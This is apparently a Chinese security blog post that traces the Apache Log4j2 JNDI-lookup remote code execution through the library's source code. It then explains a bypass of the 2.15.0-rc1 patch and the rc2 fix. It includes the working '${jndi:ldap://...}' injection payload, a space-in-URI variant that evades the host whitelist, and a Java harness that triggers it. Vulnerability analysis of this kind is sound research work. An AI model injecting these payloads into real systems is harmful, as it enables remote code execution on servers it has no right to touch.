Apache Log4j2從RCE到RC1繞過
Apache Log4j2從RCE到RC1繞過
本文首發于先知社區:https://xz.aliyun.com/t/10649
0x00 介紹
Log4j2是Java開發常用的日志框架,該漏洞觸發條件低,危害大,由阿里云安全團隊報告
POC比較簡單
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
截圖如下

0x01 RCE分析
首先來看RCE是怎樣的原理,先來一段又臭又長的流程分析
看看從logger.error到JndiLookup.lookup中間經歷了些什么
從logger.error()層層跟到AbstractLogger.tryLogMessage.log方法
private void tryLogMessage(final String fqcn,
final StackTraceElement location,
final Level level,
final Marker marker,
final Message message,
final Throwable throwable) {
try {
log(level, marker, fqcn, location, message, throwable);
} catch (final Exception e) {
handleLogMessageException(e, fqcn, message);
}
}
不動態調試的情況下跟log方法會到AbstractLogger.log方法,實際上這里是org.apache.logging.log4j.core.Loggger.log方法
@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
final Message message, final Throwable throwable) {
final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
if (strategy instanceof LocationAwareReliabilityStrategy) {
// 觸發點
((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
message, throwable);
} else {
strategy.log(this, getName(), fqcn, marker, level, message, throwable);
}
}
跟入這里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
@Override
public void log(final Supplier reconfigured, final String loggerName, final String fqcn,
final StackTraceElement location, final Marker marker, final Level level, final Message data,
final Throwable t) {
loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
進入LoggerConfig.log方法
@PerformanceSensitive("allocation")
public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
final Level level, final Message data, final Throwable t) {
// 無需關心的代碼
...
try {
// 跟入
log(logEvent, LoggerConfigPredicate.ALL);
} finally {
ReusableLogEventFactory.release(logEvent);
}
}
進入LoggerConfig另一處重載log方法
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
if (!isFiltered(event)) {
// 跟入
processLogEvent(event, predicate);
}
}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
// 關鍵點
callAppenders(event);
}
logParent(event, predicate);
}
可以看到調用appender.control的callAppender方法
@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {
final AppenderControl[] controls = appenders.get();
//noinspection ForLoopReplaceableByForEach
for (int i = 0; i < controls.length; i++) {
controls[i].callAppender(event);
}
}
層層跟入到AppenderControl.tryCallAppender方法
private void callAppender0(final LogEvent event) { ensureAppenderStarted(); if (!isFilteredByAppender(event)) { // 跟入 tryCallAppender(event); }}
private void tryCallAppender(final LogEvent event) { try { // 跟入 appender.append(event); } catch (final RuntimeException error) { handleAppenderError(event, error); } catch (final Exception error) { handleAppenderError(event, new AppenderLoggingException(error)); }}
進入AbstractOutputStreamAppender.append方法,進入到directEncodeEvent方法
protected void directEncodeEvent(final LogEvent event) { getLayout().encode(event, manager); if (this.immediateFlush || event.isEndOfBatch()) { manager.flush(); }}
關注其中的encode方法跟入到PatternLayout.encode方法
@Overridepublic void encode(final LogEvent event, final ByteBufferDestination destination) { if (!(eventSerializer instanceof Serializer2)) { super.encode(event, destination); return; } final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder()); final Encoder encoder = getStringBuilderEncoder(); encoder.encode(text, destination); trimToMaxSize(text);}
不用關心多余的代碼,這里觸發點在toText方法
private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) { return serializer.toSerializable(event, destination);}
@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { final int len = formatters.length; for (int i = 0; i < len; i++) { // 發現其中某一處format方法觸發漏洞 formatters[i].format(event, buffer); } if (replace != null) { String str = buffer.toString(); str = replace.format(str); buffer.setLength(0); buffer.append(str); } return buffer;}
這里的formatters方法包含了多個formatter對象,其中出發漏洞的是第8個,其中包含MessagePatternConverter

跟入看到調用了Converter相關的方法
public void format(final LogEvent event, final StringBuilder buf) { if (skipFormattingInfo) { converter.format(event, buf); } else { formatWithInfo(event, buf); }}
不難看出每個formatter和converter為了構造日志的每一部分,這里在構造真正的日志信息字符串部分

跟入MessagePatternConverter.format方法,看到核心的部分
@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo; final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); } if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { // 是否以${開頭 if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { // 這個value是:${jndi:ldap://127.0.0.1:1389/badClassName} final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); // 跟入replace方法 workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg != null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result != null) { toAppendTo.append(config != null && result.contains("${") ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); } }}
進入StrSubstitutor.replace方法
public String replace(final LogEvent event, final String source) { if (source == null) { return null; } final StringBuilder buf = new StringBuilder(source); // 跟入 if (!substitute(event, buf, 0, source.length())) { return source; } return buf.toString();}
跟入StrSubstitutor.subtute方法,存在遞歸,邏輯較長
主要作用是遞歸處理日志輸入,轉為對應的輸出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List priorVariables) { ... substitute(event, bufName, 0, bufName.length()); ... String varValue = resolveVariable(event, varName, buf, startPos, endPos); ... int change = substitute(event, buf, startPos, varLen, priorVariables);}
其實這里是出發漏洞的必要條件,通常情況下程序員會這樣寫日志相關代碼
logger.error("error_message:" + info);
黑客的惡意輸入有可能進入info變量導致這里變成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
這里的遞歸處理成功地讓jndi:ldap://127.0.0.1:1389/badClassName進入resolveVariable方法

經過調試確認了關鍵方法resolveVariable
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } // 進入 return resolver.lookup(event, variableName);}
跟入這里的lookup可以看到很多師傅們截圖的方法
@Overridepublic String lookup(final LogEvent event, String var) { if (var == null) { return null; } final int prefixPos = var.indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0) { final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); // 關鍵 final StrLookup lookup = strLookupMap.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null; if (lookup != null) { // 這里的name是:ldap://127.0.0.1:1389/badClassName value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); } if (value != null) { return value; } var = var.substring(prefixPos + 1); } if (defaultLookup != null) { return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); } return null;}
這里的strLookupMap中包含了多種Lookup對象

類似地,可以看這樣利用
logger.error("${java:runtime}");// 打印00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
跟入JndiLookup.lookup
@Overridepublic String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String jndiName = convertJndiName(key); try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { // 跟入lookup return Objects.toString(jndiManager.lookup(jndiName), null); } catch (final NamingException e) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e); return null; }}
最后觸發點JndiManager.lookup
@SuppressWarnings("unchecked")public T lookup(final String name) throws NamingException { return (T) this.context.lookup(name);}
0x03 RC1修復繞過
修復版本2.15.0-rc1
跟了下流程發現到PatternLayout.toSerializable方法發生了變化
不過這里的變化沒有什么影響,其中的formatters屬性的變化導致了${}不會被處理
@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { for (PatternFormatter formatter : formatters) { formatter.format(event, buffer); } return buffer;}
上文提到這里某個formatter包含了MessagePatternConverter
在修復后變成了MessagePatternConverter.SimplePatternConverter類

可以發現在這個類中變成了直接拼接字符串的操作,不去判斷${}這種情況
private static final class SimpleMessagePatternConverter extends MessagePatternConverter { private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter(); @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { Message msg = event.getMessage(); // 直接拼接字符串 if (msg instanceof StringBuilderFormattable) { ((StringBuilderFormattable) msg).formatTo(toAppendTo); } else if (msg != null) { toAppendTo.append(msg.getFormattedMessage()); } }}
注意到另一個子類LookupMessagePatternConverter
如果Converter被設置為該類,那么會繼續進行${}的處理
private static final class LookupMessagePatternConverter extends MessagePatternConverter { private final MessagePatternConverter delegate; private final Configuration config; LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) { this.delegate = delegate; this.config = config; } @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); delegate.format(event, toAppendTo); // 判斷${} int indexOfSubstitution = toAppendTo.indexOf("${", start); if (indexOfSubstitution >= 0) { config.getStrSubstitutor() // 進入了上文的流程 .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); } }}
具體需要設置為哪一個子類取決于用戶的配置
private static final String LOOKUPS = "lookups";private static final String NOLOOKUPS = "nolookups";public static MessagePatternConverter newInstance(final Configuration config, final String[] options) { boolean lookups = loadLookups(options); String[] formats = withoutLookupOptions(options); TextRenderer textRenderer = loadMessageRenderer(formats); // 默認不配置lookup功能 MessagePatternConverter result = formats == null || formats.length == 0 ? SimpleMessagePatternConverter.INSTANCE : new FormattedMessagePatternConverter(formats); if (lookups && config != null) { // 只有用戶進行配置才會觸發 result = new LookupMessagePatternConverter(result, config); } if (textRenderer != null) { result = new RenderingPatternConverter(result, textRenderer); } return result;}
于是想辦法開啟lookup功能分析后續有沒有限制
final Configuration config = new DefaultConfigurationBuilder().build(true);// 配置開啟lookup功能final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"});final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build();final StringBuilder sb = new StringBuilder();converter.format(event, sb);System.out.println(sb);
成功開啟lookups功能,調用LookupMessagePatternConverter.fomat方法

遞歸處理等過程均沒有變化,最后JndiManager.lookup觸發漏洞的地方進行了修改
public synchronized T lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() != null) { // 允許的協議白名單 if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) { // 允許的host白名單 if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } Attributes attributes = this.context.getAttributes(name); if (attributes != null) { Map attributeMap = new HashMap<>(); NamingEnumeration enumeration = attributes.getAll(); while (enumeration.hasMore()) { Attribute attribute = enumeration.next(); attributeMap.put(attribute.getID(), attribute); } Attribute classNameAttr = attributeMap.get(CLASS_NAME); // 參考下圖我們這種Payload不存在javaSerializedData頭 // 所以不會進入類白名單判斷 if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { // 類名白名單 String className = classNameAttr.get().toString(); if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } } else { LOGGER.warn("No class name provided for {}", name); return null; } } else if (attributeMap.get(REFERENCE_ADDRESS) != null || attributeMap.get(OBJECT_FACTORY) != null) { // 不允許REFERENCE這種加載對象的方式 LOGGER.warn("Referenceable class is not allowed for {}", name); return null; } } } } } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
看看實際運行中,這幾個白名單是怎樣的

默認的協議是:java,ldap,ldaps
默認數據類型是八大基本數據類型
默認的Host白名單是localhost
實際上攔住Payload是在最后一處OBJECT_FACTORY判斷

由于RCE一定需要加載遠程對象,那么避免不了javaFactory屬性(或者有一些其他思路,筆者剛做Java安全不了解)
看起來無懈可擊,然而這里有一處細節問題
public synchronized T lookup(final String name) throws NamingException { try { URI uri = new URI(name); ... } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
如果發生了URISyntaxException異常會直接this.context.lookup
能否想辦法讓new URI(name);時候報錯但name傳入context.lookup(name);時正常
經過測試發現URI中不進行URL編碼會報這個錯,加個空格即可觸發${jndi:ldap://127.0.0.1:1389/ badClassName}

成功RCE(需要用戶開啟lookup功能的基礎上才可以)

0x04 RC2修復
RC2的修復方案是直接return,有效解決了上文的繞過
try{} catch (URISyntaxException ex) { LOGGER.warn("Invalid JNDI URI - {}", name); return null;}return (T) this.context.lookup(name);
不過再RC2的修復情況下發現另外的漏洞,很雞肋,后續分析